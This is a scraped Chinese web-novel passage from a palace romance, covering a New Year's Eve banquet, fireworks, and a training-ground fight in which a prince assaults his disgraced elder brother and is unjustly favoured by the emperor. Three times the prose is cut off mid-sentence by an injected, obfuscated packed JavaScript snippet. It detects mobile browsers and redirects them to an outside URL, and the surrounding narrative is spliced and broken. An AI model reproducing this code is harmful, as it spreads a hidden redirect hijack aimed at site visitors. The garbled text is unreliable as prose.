众人虽意外,却还是纷纷起身拜倒。每年的这个时候,太后因年迈,会早早退席去歇息。而皇帝则会在此时给众人各自赐下节礼。给朝臣的礼自然是按照品级来的,而给皇子公主的则也略有区别。太子谢怀衍所得的赏赐自然是最丰厚的,其次便是三皇子和六皇子,再次则是各位公主。而谢怀琤身为皇子,却得不到任何赐礼。每当此种场合,他总是立在众人身后,沉默地收拢目光,耳边听着其他人欢天喜地的谢恩。 姜清窈伏身在大殿中央的地毯上,正疑惑着太后今日竟一直待到此刻还不曾离开,内侍的声音已然响起。 太后对皇子公主们的赐礼并不分什么品级,即便是谢怀衍,所拿的例礼与诸位弟妹也并无二致。只是令所有人意外的是,那个一向不得皇帝欢心的五皇子竟也能得到太后的赏赐。 在各人各怀心思的打量中,谢怀琤自人群后缓步走上前,双手接过赐礼。太后的赐礼并不繁多,不过是一册新书、一方砚台并一些如意香珠等物。他恭谨捧着,俯身道:“孙儿谢皇祖母赏赐。” 待谢怀琤站起身,太后看向他,轻轻叹气道:“琤儿,你似乎瘦了。如今冬日严寒,也勿要忘了保养自身。” 这原本是最寻常的一句关怀。太后的声音并不是多么响亮,然而大殿内顷刻间却寂然无声。所有人的目光俱带着惊疑,克制地扫视过谢怀琤。 26. 焰火 太后一向对子孙们最是和颜悦色,比之皇帝的严肃,更多了几分寻常人家长辈的关切。方才,她亦对太子、谢瑶音等人说了此等关怀之语,此举原本并不会令人多么惊异。 偏生一向在宫中几乎无甚地位的谢怀琤,却也得了太后这样一句话。而太后语气中的慈祥更是真切的,并非只是敷衍塞责之语,俨然便是一位祖母对孙儿的疼爱之情。 皇帝眼波微动,显然也没料到如此情形。只是他自然不会对太后之举有什么异议,只冷淡地看了眼谢怀琤,便自阖上了眼,并未出声。 皇后面上似有几分感怀,只静静看着。 下首的太子和三皇子俱是一脸平静,而六皇子却是一副惊愕万分的模样。 余下众人纷纷在心底猜测,太后的态度意味着什么?莫非圣心转圜,打算对这位失宠已久的五皇子有所宽恕吗? 而谢怀琤却并无多余的表情,只恭谨地俯下身子,沉声道:“孙儿一切安好,多谢皇祖母关怀。” 他语气平静,可姜清窈却隐约从中听出了细微的颤抖。对谢怀琤而言,这样的话语应当已经许久不曾听过了吧。 谢怀琤很快起身,慢慢退了下去。待所有人都领了赏赐后,今晚的除夕家宴算是到了尾声。众人各怀心思,碍于圣颜在上,不敢窃窃私语。 而家宴后,依照惯例,皇宫和京城内都会燃放焰火,皇帝则会偕众人登上重霄楼,一齐观赏火树银花不夜天的盛景,与万民同乐。 重霄楼是皇宫内一处地势高、位置好的观景阁楼,在此处能够俯瞰皇城内外,远眺京城之景。此时天穹如墨,唯有那绚丽灿烂的焰火纷纷扬扬绽开,亮如流萤,状似飞花,又如绚烂银河缓缓流淌,最终落入人间。 皇帝立在高处,皇后与贵妃分别陪侍在左右。余下朝臣家眷便退至重霄楼下,仰视着天颜,同时观赏焰火美景。留在天子身畔的,唯有皇族中人。 “窈窈你瞧,那焰火如漫天星子一般落下,当真是好看。”谢瑶音兴致勃勃地望着夜空,轻扯了扯姜清窈的衣袖道。 夜风有些凉,姜清窈呵了呵手,点头道:“每年除夕夜焰火的花样虽各不相同,但却既应景又精巧。” 谢瑶音瞧着那被火光映得明亮的夜空,面上浮起新岁来临的喜悦,便双手合十,闭上眼笑吟吟道:“对着焰火许愿,来年一定会实现吧?” 姜清窈被她的情绪感染,也闭上眼合起了手掌。 她在心底默默祝祷,希望这一年,父母兄长以及阖家长辈都平安喜乐,身边的至交好友事事如意,宣朝永无战事,风调雨顺。 思绪随着那不断升空又坠落的焰火摇曳着,姜清窈睁开眼,偶一转头,正好看见谢怀琤在重霄楼的那一头,亦仰头直直望着夜空。 不知此刻的他,会想些什么呢? 不多时,待焰火尽数放完,众人齐齐恭送皇帝离开。 “窈窈,我们也回宫吧。”谢瑶音说着,便向重霄楼下举步走去。姜清窈跟在后面,小心地迈下一级级台阶。 重霄楼极高,此刻人潮涌动,颇有些拥挤。 身后忽然传来一声惊呼,姜清窈尚未反应过来,却觉得裙裾一沉,似乎被人不小心拉扯住。她一惊,身子一晃,眼看便要从阶梯上跌落。 “窈窈!”谢瑶音慌忙伸手想要扶住她。 慌乱之中,姜清窈下意识向着阶梯的木制扶手靠了过去。指尖触到扶手表面的那一瞬,她却陡然感觉到一股力道拨开人群,圈住了她的腰,横在身前助她牢牢稳住了身子。 姜清窈低眸,看见那因用力而绷紧的手腕,鼻间是熟悉的清苦香气。在他手臂的圈揽之中,她倏然转过身来,与谢怀琤面对面相望。 方才明明看见他站在楼的那一端,然而转瞬之间,他已站在了她眼前。谢怀琤的掌心贴着她的腰,隔着衣裳源源不断透着热意,便好似在揽她入怀。 耳边的人声仿佛都尽数远离,姜清窈只能听见他沉重的呼吸声。她抬头,落进他深邃如一泓井水的目光中。 下一刻,他很快松开了手,转身没入了人群之中。姜清窈怔怔立在原地,方才的一切好似错觉。 “窈窈,你没事吧?”谢瑶音分开人群疾步走到她身边,上上下下看了她半晌。 姜清窈回神,轻轻摇头道:“我们回去吧。” 两人的身影很快消失在重霄楼,而楼台角落,太子谢怀衍缓缓站直身子,抬手抚平袍袖上的褶皱。 他面前,粉面微红的少女含羞带怯,柔声道:“臣女多谢殿下搭救之恩。” 她仰起头,眼瞳似水,一眨不眨地望着他,满是感激:“若不是殿下,臣女只怕会从这高楼跌下去。” 说话间,少女纤细的身子轻轻颤了颤,似是惧怕般地抓紧了他的手臂。谢怀衍低头淡淡扫了一眼那削葱般的手指,只和声道:“不必言谢。” 少女好似才注意到自己拉扯着他的衣袖,慌忙松开手,身子微微一颤,不自觉地又向着谢怀衍的方向挪动了一小步。 她身上丝丝缕缕的香气在夜风中弥漫,悄然钻进他鼻间。谢怀衍面色无波,声音依旧温润:“姑娘既无事,便早些回去吧。” 少女盈盈下拜:“臣女告退。”她徐徐转身,长发在风中扬起弧度,随着她的动作不经意擦过谢怀衍的手背,有些痒意。 谢怀衍抬眸,看着她远去的婀娜背影,唇角的笑意逐渐淡去。 * 自从太后在除夕宴上流露出了对谢怀琤的怜惜,宫中人也见风使舵,不再似从前那般。只是皇帝的态度一如既往,虽未曾再斥责,却也不曾和缓。因而,谢怀琤的处境并没有彻底的好转。 姜清窈与谢瑶音去给太后请安时,也几次遇到刚好离开的谢怀琤。这些日子他愈发沉默,整个人也显得格外清瘦。 后来在萤雪殿遇上,他也不过轻一颔首,并不曾多言。 姜清窈不知他有何心事,只能在心底默默叹息。 这一日的演武场,依旧热闹非凡。姜清窈与谢瑶音一早便到了,将一应功课都研习了一番,这才退到场下歇息。 不多时,谢如婉和傅宝吟便先后起身要告辞。 “四妹,”谢如婉回身唤谢凝玉,“还不跟我回去吗?” 谢凝玉正与谢瑶音站在一处低声说着什么,闻声愣了愣,一时间没有作声。 “你身子弱,何必在这演武场上待着?”谢如婉道,“况且你本就不擅此道,何必白费力气?” 这话看似关怀,姜清窈却从中听出了几分轻蔑的意味。她皱眉,看向了谢凝玉。 谢凝玉双手交握在身前,紧紧咬唇,面上满是挣扎神色。 “怎么?你忘了怡嫔娘娘的嘱咐了?”谢如婉一如往常,又搬出了怡嫔的名头。 往日,她只要一提起怡嫔,四妹妹便会立刻乖乖听话跟着她走,然而今日却愈发不一样了。谢凝玉似乎思索了良久,终于鼓足勇气道:“三姐姐,我今日......要同二姐姐一道练习骑术。” 谢如婉面色微微一变,显然没料到一向软弱、对自己言听计从的四妹妹今日会变了一番模样。她窒了窒,有些微的不自在,很快恢复如常,道:“四妹妹如今越发有主意了。我不过是担忧你练习骑术,倘若有个伤筋动骨,岂不是让怡嫔娘娘担心?莫说娘娘,便是母妃与我,也会放心不下的。” 这番话若放在平日,姜清窈兴许会觉得谢如婉当真是体贴关怀。然而方才听了那般透着鄙薄的话,她只在心底暗自摇头,同时也有些好奇,谢凝玉究竟会作何种反应。 谢瑶音按捺不住,想要开口与谢如婉争辩一番。姜清窈轻轻扯了扯她的衣袖,冲她使了个眼色。 却见谢凝玉缓慢摇了摇头,声音虽柔弱,却是不容拒绝的坚定:“多谢三姐姐关心。只是我已答应了二姐姐,自然不可食言。母妃她......一定不会介怀的。二姐姐先回宫吧,不必再等我。” “况且,”她素白的脸上浮起一丝向往,“我确很想好生学习一番骑术,这一切都是出自本心。” 谢如婉怔在原地,半晌才极轻地冷笑了一声:“既然四妹妹这样说了,那我也不必多言了。阿吟,我们走吧。” 傅宝吟冷眼旁观,唇角轻微挑了挑,很快随谢如婉一道转身向演武场外走去。谢凝玉立在原地,许久才重重呼出一口气,面上却陡然显出几分担忧。 “四公主是在担心什么?”姜清窈见状,柔声问道。 谢凝玉低低道:“母妃一向不许我流连于此等武学之事上,她一旦得知今日之事,只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢怀琤一言不发,只不动声色避开了他的动作,架开了他的手臂,同时手上稍稍一用力,格挡之下,六皇子脚底一滑,登时跌倒在地,狼狈地坐在了尘土之中,忍不住痛呼出声:“哎哟!” 六皇子平日耽于享乐,本就不擅此道。前几次课上,与他比试的是他自小的伴读,自然处处容让,不至于让他如此落败,然而谢怀琤却不会如此。 他双手撑地想要起身,然而刚刚撑起身子,便又跌坐回去,只觉得身下好一阵酸痛。一旁的人忙上前把六皇子搀了起来,替他掸去袍角的灰尘,劝道:“殿下只是一时失手,不如暂且歇息,待来日再比试也不迟。” 六皇子却猛地甩开几人的手,怒目圆睁,喝道:“谢怀琤!你不要欺人太甚!” 他双手握拳,便想要再来一遭。谢怀琤却已失了兴致,恍若微未闻,侧身过去掩唇咳嗽了一声,便欲离开。 “你们愣着做什么?还不快帮我?”六皇子对着围观众人喝道。 眼看六皇子动了怒,余下几人对视一眼,许是畏惧他的身份,便互相交换了一个眼神,趁着谢怀琤背对着他们不设防,一拥而上,七手八脚把他按在了地上。 严彻大惊,连声喝道:“你们这是做什么?”然而他势单力薄,很快被另外两人制住,挣脱不得。 谢怀琤不防,身子一个趔趄,整个人便倒在了地上。他抬头,那双沾染了些许尘沙的眼睛冷冷瞧着六皇子,似笑非笑:“怎么?六弟想仗势欺人?” 六皇子一看见他的眼睛,便想起自己先前几次被他三言两语和几番动作所恐吓的窘态,不觉怒从心起,咬牙切齿道:“你以为有皇祖母替你撑腰,你便能在我面前得意起来了?我告诉你,父皇如此厌烦你,你便永远翻不了身,别想着在我面前摆什么兄长的架子!” 谢怀琤虽被人桎梏着动弹不得,神色却毫无慌乱,只冷冷地望着别处,对他的话置若罔闻。六皇子摸着自己跌痛了的腰腿,看着那簇新的衣衫沾满了灰尘,再看着谢怀琤云淡风轻的模样,怒从心起,上前几步,抬脚便向他胸口踹了过去。 谢怀琤眼神微微一冷,尚未来得及动作,忽然发觉眼前一暗,玉色的衣裙轻柔拂过,有人疾步过来,挡在了他的身前。 “住手!” 27. 争执 六皇子一惊,显然没料到会有人突然从旁边冲了过来拦在面前。待看清是姜清窈,他硬生生停住了动作,才不至于伤了她。 “姜姐姐,”六皇子上下打量着她,语气很不耐,“你怎会来这里?这儿不是你该待的地方。” 他说着,指着委顿在地的谢怀琤道:“原是我与五皇兄之间的事情,旁人不必插手。你让开。” 姜清窈却没有动,依然站在原地,开口道:“六殿下,方才我看得真切,您与五殿下是在比试。既然是比试,那么难免有输赢。您为何要为此大动肝火,甚至还要对五殿下动手?” 六皇子没想到一向温婉柔和的人竟会为了谢怀琤而这般对自己说话,一时间愣住了。 姜清窈说完这番话,才意识到自己的举动会引起怎样的轩然大波。方才,她来不及去多想,只知道在看见谢怀琤受到那般欺负时,眼前浮现的是那日雪地里那张苍白憔悴的脸和触目惊心的斑斑血迹。不论是看在旧日的情分上,还是这些时日的相处与熟识上,她都无法眼睁睁看着谢怀琤再度落到那样的境地。 众人神色各异,却无人敢出声。被笼罩在阴影下的谢怀琤缓缓抬头,原本沉寂如井水的眼底似乎有微光涌动。 他抿唇,目光牢牢落在少女身上。 片刻后,六皇子回神,禁不住冷笑一声:“你可真是心善,竟替五皇兄打抱不平起来了!我不过是瞧在母后的面子上,唤你一声姐姐。可姜姐姐,你莫要忘了,在这宫中我是皇子,你不过是个外人,竟也来对我指手画脚?” 姜清窈浅浅笑了笑:“六殿下言重了,我何曾冒犯?不过是想心中疑惑,想问一句罢了。” “凭他的身份,也配和我比试?”六皇子轻蔑地看向谢怀琤,“不过是个冷宫里的皇子——不,他活得还不如我宫中的下人。” 谢怀琤眉眼低垂,似乎对此种话已然司空见惯。 六皇子最看不惯他那波澜不惊的样子,仿若一潭死水。曾几何时,这位皇兄如在云端,父皇的眼中永远只看得见他,凡有赏赐必先想到他,而自己只能屈居于他之下。他的母妃不过是来自民间的小门小户之女,自己的母妃则是出身不俗的高门贵女,可父皇却只把那对身份寒微的母子放在心里。 想起此处,六皇子不住冷笑:“谢怀琤,昔日你和你母妃在我面前耀武扬威时,可曾想过有今日?” 听到此处,谢怀琤喉头微微一动,眼底终于泛起了细微的波动。 “今日你既然犯在我手里,我定要让你瞧瞧我的厉害!”六皇子冷哼一声,喝道:“你们几个把他按住了,不得动弹!” “六殿下,你要做什么?”姜清窈蹙眉,看着一步步逼近的六皇子。 “让开!”六皇子力气极大,一把将她推开,揎拳捋袖,大踏步向谢怀琤走去。 “六殿下!”严彻慌乱之中喊道,“五殿下他毕竟是您的兄长,您不能不顾念兄弟之情!” “什么兄长?”六皇子一把掐住了谢怀琤的脖颈,话语冲口而出,“谁不知道他母妃入宫前本已定亲,指不定在宫外时便与人有私情——” 众人没料到六皇子竟会如此口不择言,出言污蔑已故的秋妃。姜清窈惊愕万分,一时间也不禁怒极,失声道:“六殿下慎言!” 她的声音被拳脚加身的打斗声盖过,方才还被制住的少年霍然间一跃而起,狠狠一拳往六皇子脸上挥了过去。 六皇子不防,被那力道带得后退了几步,狼狈地坐在了地上,只觉得面颊一阵剧痛,眼前天旋地转,顿时高声痛呼起来。 谢怀琤被几个人死死拉住,面上是从未见过的阴鸷,那双眼里毫不遮掩地透出恨意,翻腾不息,只盯得六皇子脊背发凉。他只觉得颜面尽失,顿时恼羞成怒,叫喊道:“还愣着做什么?给我打!” 姜清窈欲上前阻拦,却被他伸臂一推,只觉得脚底一个踉跄。她刚要稳住身形,余光忽然看见演武场外,有几道身影在缓慢走近,显然已经注意到了这边的动静。 她心念一转,几乎出自本能地借着六皇子推搡的力道后退了几步,重重地跌倒在地,同时惊呼出声。 六皇子一把揪住谢怀琤的衣领,扬手便要狠狠一巴掌落下,没料到谢怀琤却不闪不避,反而平静地望着他。六皇子正愣怔时,却听见身后一个惊怒交加的声音响起:“六弟且住!” 众人闻声纷纷回头,看清来人后顿时惊慌失措,顷刻间跪了一地,齐声道:“参见陛下!” 六皇子身子一僵,仓促收回手,旋即转身,看见那方暗色龙纹的袍角缓缓行至眼前,忙俯身道:“父皇。” 皇帝面色喜怒难辨,负手静静立在原地,半晌不曾出声。他身畔,三皇子眉头紧锁,目光在六皇子和谢怀琤身上不断地扫来扫去;方才出声喝止的则是太子谢怀衍,此刻正面带忧色,紧抿唇角。整个演武场静得仿佛能听见每个人的呼吸声。 许久,皇帝调转目光,落向一旁的姜清窈,淡淡问道:“这是怎么了?” 姜清窈裙角沾了些灰尘,肩头的衣裳也有些明显的褶皱。她闻言,轻轻咬唇,低眸道:“回陛下,臣女方才没留意,不小心摔倒了。” 皇帝的声音听不出情绪:“方才发生了何事?” 六皇子连忙开口:“父皇,我——”一语未了,皇帝已看向了姜清窈,道:“窈窈,你说。” 姜清窈的心跳有些快。她斟酌片刻,迟疑着开口道:“方才——” “父皇!方才我看得清楚,”又一道清脆的声音由远及近,是谢瑶音,“是六弟与五皇兄起了争执,又失手将窈窈推倒在地。” 皇帝的眉头似乎微微舒展:“阿瑶,你怎么也在此?” 谢瑶音屈膝行礼:“儿臣与五妹妹、窈窈在那边练习马术。窈窈觉得有些乏了,便独自走走散散心,不想走到了此处。” “那你可曾目睹,颂儿为何会与人起争执?” 谢瑶音尚未说话,六皇子已然按捺不住抢先开口道:“父皇您瞧,儿臣面颊上的伤正是五皇兄所致。五皇兄一向与儿臣不和,便借着武学课比试出手伤了儿臣。儿臣一时气愤,才会将他制住想回击。” 姜清窈掩去眼底的厌恶。六皇子还是这般擅长颠倒黑白,胡言乱语。她忍不住略抬起头,想要张口解释什么,却被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13722138|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的谢瑶音用眼神制止了。 皇帝看向谢怀琤,道:“颂儿面上的伤,是你打的吗?”却是压根没有问起事实与缘由,只顾着六皇子方才的话。 谢怀琤不曾迟疑,道:“是。” “身为兄长,却如此不顾手足之情肆意欺凌幼弟,朕怎么会有你这般冷心冷性的儿子!”皇帝勃然变色,袍袖一甩,“滚回你自己宫里,好好忏悔你的过错,什么时候想通了再出来!” 身后,严彻满脸不可置信,壮着胆子出声:“陛下——” 他的声音被谢怀琤四平八稳的嗓音盖住:“儿臣遵旨。” 皇帝看向六皇子,复又显出几分慈父的关怀:“天冷,快些回宫去,免得你母妃担心。” 六皇子叩首道:“儿臣遵旨。”他得意地看了眼一旁默然不语的谢怀琤。 谢瑶音没忍住,道:“父皇,五皇兄他——” “阿瑶,”谢怀衍很快接过话茬,“你们也回宫去吧,母后想来正在等你们用晚膳。” 他一面说着,一面便不动声色引着谢瑶音与姜清窈随他离开演武场。姜清窈有心想留下多问谢怀琤几句话,却只能作罢。 皇帝离开后,六皇子也同三五个要好的人一道走了。三皇子面色无奈,看向谢怀琤,轻声道:“五弟,回去吧。” 他略一踟蹰,道:“父皇听了六弟的一面之词,难免会对你有所误解。待来日父皇心情好转,你再设法向他解释清楚。” “多谢三皇兄关心。”谢怀琤轻轻颔首,没有多说。 三皇子叹息一声,这才缓步走了。一时间,演武场便只剩下了谢怀琤与严彻。 “怀琤,方才明明是六殿下出言不逊,冒犯......秋妃娘娘,你为何不向陛下解释,由着六殿下将过错尽数推到你身上?”严彻语气忧急,带着难以掩饰的气愤。 谢怀琤淡淡道:“你以为,父皇会容许我解释?” “可难道你就只能这样白白受了委屈?”严彻急切道。 谢怀琤唇角带着笑,声音却透着刺骨寒意:“受不受委屈有什么要紧,这些年我早已惯了。只是事关母妃清誉,我定不会轻易放过谢怀颂。”他说话时,眼底幽深冰凉。 严彻怔了怔。不知为何,时隔多年,他再度从眼前人的身上看到了少年时的影子。那个绝不肯受分毫委屈,定要让旁人偿还百倍的谢怀琤,似乎又回来了。 习惯了谢怀琤的沉寂与漠然,严彻一时间有些不敢相信他此刻的冷厉,只愣愣地望着他,低声道:“怀琤,看到你这样想,我便安心了。” 默了片刻,严彻又道:“这些时日,你的变化我都看在眼里。不论是因为什么,只要你愿意好好活着,不再像从前那样消沉就好。” 谢怀琤没作声。 严彻觑他一眼,略微迟疑道:“怀琤,姜姑娘方才之举,确实出乎我意料。她依旧念着你们年少相识的情分。” 谢怀琤缓缓抬眸,看向天边迷蒙的弯月,紧绷的唇角轻轻一松。 一句轻而缓的话如微风半散落在空气中。 “她......终究是不一样的。” 28. 再遇 那晚过后,姜清窈许久都未曾见到谢怀琤。他被皇帝罚了十数日的禁足,自然也不得出宫来萤雪殿上学。 此事传扬出去,众人只摇头叹息五皇子依旧是这般不被皇帝喜爱,而六皇子则因面上的伤而格外得到皇帝的怜惜与抚慰。 听说贵妃还为此事向皇帝进言,只说兄弟之间比试失手也是难免的,实在不必因为重罚谢怀琤。皇帝听罢,只赞贵妃心慈,却也不曾收回旨意。 姜清窈听了,只觉得心寒。 “阿瑶,我记得六殿下幼时不过是淘气了些,为何如今会变成这般是非不分、随意攀扯旁人的模样?”她坐在永安宫枕月堂窗下,捧着茶盏怔怔出神。 谢瑶音咽下口中的点心,拿过手帕拭了拭指尖的油渍,道:“那日我听着六弟那般污蔑五皇兄也觉得心寒。可父皇盛怒之下,我实在不敢出声。窈窈,你说五皇兄会怨我吗?” 姜清窈轻抚她的手背:“我明白,陛下虽疼爱你,但他毕竟是君王,若是你真的仗着宠爱顶撞他,只怕会有无法预料的后果。阿瑶,五殿下是通情达理的人,会体谅你的难处的。” “即便是母后,也不敢顶着父皇的怒火出言解释,至于贵妃,她亦不敢忤逆父皇,”谢瑶音出了会神,“说起来,从前宫中唯有一人能在父皇龙颜震怒时出言却不会被迁怒,有她的话,父皇反倒会很快消了气。” 姜清窈眉眼一垂,轻声道:“是......秋妃娘娘。” 此话一出,两人纷纷陷入了沉默。许久,谢瑶音才勉强笑道:“正是。我记得,从前曾有一回,父皇在朝堂上遇到了什么烦心事,阴沉着面色回了后宫,正巧遇上六弟逃学,还与小内监打闹玩耍,顿时大怒,吩咐人打六弟手板,任凭六弟如何哭喊求饶也不为所动。最后秋妃娘娘听闻此事,忙出面劝了几句,父皇才改了主意,免了六弟的罚。” “可如今,六弟怕是全然忘了昔日秋娘娘为他求情的事情,”谢瑶音眉宇间笼上寒意,“真是个忘恩负义的人。” “贵妃怎会养出这样不成器的儿子!”她忿忿道。 姜清窈默然。 两人各自发了会呆,只到皇后身边的宫女前来通传到了午膳时候,才起身过去。 * 午后。 演武场里,谢瑶音依旧是遵守诺言,细心教谢凝玉骑马。姜清窈站在场外,含笑望着两人。这些日子,谢凝玉与这位姐姐的关系愈发亲近,比之从前也多了些笑容。 她看了片刻,便也去场边牵了匹马,纵身上马,却只略提了提缰绳,让马儿在场内小跑了起来。 姜清窈闭了眼,任由鬓发在风中飘扬,静静享受着这样难得的时候。许久,她慢慢睁眼,定睛一看,却见场边不知何时多了一个人。 一身锦袍的谢怀衍眉眼温和,负手立在那里。对上姜清窈的目光,他微微一笑,颔首示意。 姜清窈偏头,见场上的姐妹俩还在专心练习,便缓慢让马停下,这才轻巧下马,向着谢怀衍屈膝:“见过太子殿下。” 谢怀衍抬手道:“表妹不必如此客气。” 他目视着姜清窈,道:“方才从东宫出来,去向母后请安,听母后说起你们姐妹在此,便想着顺道来看看阿瑶。” 谢怀衍说着,笑看向场上的谢瑶音:“阿瑶的骑术愈发进益了,想来其中也有表妹的功劳。” 姜清窈道:“殿下言重了,阿瑶本就聪颖,于骑术上颇有天分,又勤于练习才会有如此成果。我不敢居功。” “我记得表妹自小体弱,后来便跟着舅父学习骑射功夫,果然如今面色红润,气色甚好。”谢怀衍转头看她,那目光专注,仿佛藏着无尽深意。 不得不说,谢怀衍确实生了副好模样,眉眼俊朗,温润如玉,便如古书中写到的翩翩君子。他注视着一个人时,总是格外认真。 “不知表妹如今在宫中长住,一切可还习惯?”谢怀衍问道。 他声音柔和,带着体贴之意。 姜清窈垂眸:“谢殿下关怀,我并无什么不适应。” “从前阿瑶便一直念叨着,盼你能入宫来陪她,如今可算是如愿了。”谢怀衍道。 他说着,自然而然便离她近了些,姜清窈闻到了他身上那独有的熏香气味,不易察觉地蹙了蹙眉。她有些闻不惯这般较为浓烈的香味,却碍于礼节只能强忍着。 恰好此时谢瑶音策马走了过来,扬声道:“皇兄,窈窈,你们在说什么呢?”说着,她便翻身下了马,笑盈盈地向谢怀衍行了一礼。 身后,谢凝玉面上泛着红晕,呼吸略微急促,鬓发也有细微的湿润,但神情却是极欢喜的。谢怀衍道:“我在欣赏二妹妹和四妹妹的骑术,果然精彩。” 谢瑶音笑道:“能得皇兄这般赞誉,我和四妹妹便也满足了。”几人有一搭没一搭地说着闲话。谢怀衍面上带着淡淡的笑,默不作声。谢凝玉手握着缰绳,动作轻柔地抚摸着身畔的马儿,颇有些不舍。 谢瑶音见状,有些得意地向谢怀衍道:“皇兄,我这个师傅当得如何?” 谢怀衍哑然失笑:“这话你该问四妹妹才是。” 谢凝玉忙道:“二姐姐教得极好。”她说着,有些赧然地笑了笑:“我天资愚钝,不擅骑术,幸蒙二姐姐不嫌弃,总是耐着性子教我。” “怎会?”谢瑶音摇头,“四妹莫要自轻。我瞧着你于骑术上很有天分,我不过略说几句话,你便全然领会了,这哪里是愚钝?” 谢凝玉怔怔道:“当真?二姐姐莫不是哄我吧?” “四妹妹,我从来都是直言直语,你可曾见过我为了情面有意与何人说过什么假话?”谢瑶音拍了拍她的手背,“我所说的,皆是真话。你若不信,便问问窈窈。” 姜清窈本有些出神,听了此话这才回神,对上谢凝玉略显紧张的目光,莞尔一笑,真心实意地道:“四公主确实学得很快。” 谢瑶音的目光往不远处随意一瞥,忽然笑道:“四妹妹,你若是还不信,便只能让窈窈去请那位来评说评说了。” 谢凝玉不明所以,转头看了过去。 身形高大挺拔的青年正缓步向这边走来。待他走至近前,她才看清他的眉眼五官。或许是常年被风霜侵扰,他并不似养在京城的那些世家公子面如美玉,而是肤色略深,稍稍多了些粗犷与风尘之色。浓墨般的剑眉舒展着,那双黝黑的眸子似朗星,唇角带着隐隐的笑意,显得豪爽又洒脱。 他身后是逐渐隐没入地面的残阳。冬日的夕阳总是会被空气中的瑟瑟寒意衬得少了几分暖色,但今日这余晖却格外明亮,在青年周身笼上了一层稀薄的光,让他原本锋利的轮廓也柔和了不少。 谢凝玉怔住,一时间忘了出声。 “哥哥?你怎会这个时候进宫?”姜清窈讶异不已,忙快步走上前去。 来者正是姜湛。他先向谢怀衍行了礼,这才抚了抚妹妹肩头落的浮尘,道:“想来你还不曾从姑母那里听说陛下的旨意。” 姜清窈不明所以,问道:“什么旨意?” 一旁的谢怀衍温言道:“父皇前日考校六弟等的武学课,不甚满意。恰好明然在京,父皇便特意吩咐了他每日得空来演武场指点一二。” 谢瑶音笑道:“方才我还同四妹妹说起呢,她总不肯信自己的骑术有了进益,倘若表哥亲口所说,她总该信了吧?”说着,她向谢凝玉道:“这是窈窈的同胞兄长,自小便有一副好身手。他常年在北境,多次在战场上厮杀,骑射拳脚功夫都是咱们大宣朝数一数二的。” 姜湛的目光落向谢凝玉,微微俯身:“臣见过四公主。” 谢凝玉忙回了一礼:“姜......少将军客气。” “今日时辰晚了些,明然,待明日你再来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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彼时正巧赶上散学,谢瑶音正同谢凝玉约定着练习骑马的时辰,姜清窈便先行迈步出了风荷堂,沿着回廊慢慢走着。 回廊那端传来几声嬉笑,她抬头,却见是六皇子与他的伴读正有说有笑地往外走。 六皇子的伴读名唤章铭,比他年长一岁。两人自开蒙便在一处。 姜清窈放慢步子,想起昨晚听谢瑶音随口说起的话。 贵妃云氏入宫多年,虽生有皇子,位分仅次于皇后,但终究输在家世上。她母亲早逝,父亲偏宠妾室,对她这个长女很是冷淡,因此贵妃在闺中的日子并不顺意。好在后来皇帝下旨从京城各家中遴选适龄女子,她凭借着娇花软玉般的容颜入选,并且步步高升,才有了如今的地位,也算是苦尽甘来了。 只是皇帝虽宠她,却公私分明,并不因此破格厚待云家,因此时至今日,贵妃的父亲依然是个平庸的小官吏,她的家世在后宫之中也就不值一提了。虽然皇帝对待妃嫔向来不以家世论断,只是贵妃心高气傲,难免深以为憾。 不知是不是这个缘故,贵妃两个孩子各自交好的伴读,皆是出自朝中有一定地位和官位的家族。不论是章铭,还是傅宝吟,家中父辈兄弟都在朝为文官,也因此与云家走得近了许多。 想起此事,她对此人便没有任何好感,因而只沉默地闪身一旁,向着六皇子行了一礼。 六皇子看见她,想起那日演武场的事情,面上笑容淡了淡,冷哼了一声,抬脚便走。章铭跟在身后,目光沉沉地扫过姜清窈,若有所思。 待他们走远,姜清窈抬头,这才看见谢怀琤缓步走出翠微堂。 许久未见,他面色尚可,只是衣衫更加单薄,显得格外清瘦。 隔着回廊,两人四目相对。 29. 掌心 难言的沉默在两人面前蔓延开来。谢怀琤静静瞧着她,并不像往日那样面无表情,也没有很快离开。那双眼睛透出的冷冽目光,似在竭力克制,却又抑制不住地落在她身上。 在她走到他面前时,谢怀琤悄然收拢了目光,只默默看向脚下的地砖。 “殿下这几日还好吗?”姜清窈轻声问道。 他似乎扯了扯唇,淡淡道:“还是老样子。” 姜清窈看着他云淡风轻的样子,心中忽然一颤,有一种隐秘的情绪升腾起来。她看着眼前少年灰暗的眉眼与苍白的嘴唇,只觉得一股酸楚油然而生。 她从袖中取出那册书,递了过去:“那日在藏书阁拿走了殿下想要读的书,今日特意来归还。” 谢怀琤低头看着她白玉般的手指搭在书册之上,半晌没说话。许久,他才伸出手欲接过,却在中途忽然僵住了动作。 他眉尖轻微一蹙,慢慢将右手藏到了身后,转而抬起左臂,作势要接过。 姜清窈见了他的动作,心中起疑,定睛看过去。然而他的衣袖垂下,牢牢遮蔽住手腕,让她根本无法看清。 “姜姑娘在找什么?”谢怀琤垂眸看她,问道。 “殿下的手怎么了?”姜清窈目视着他。 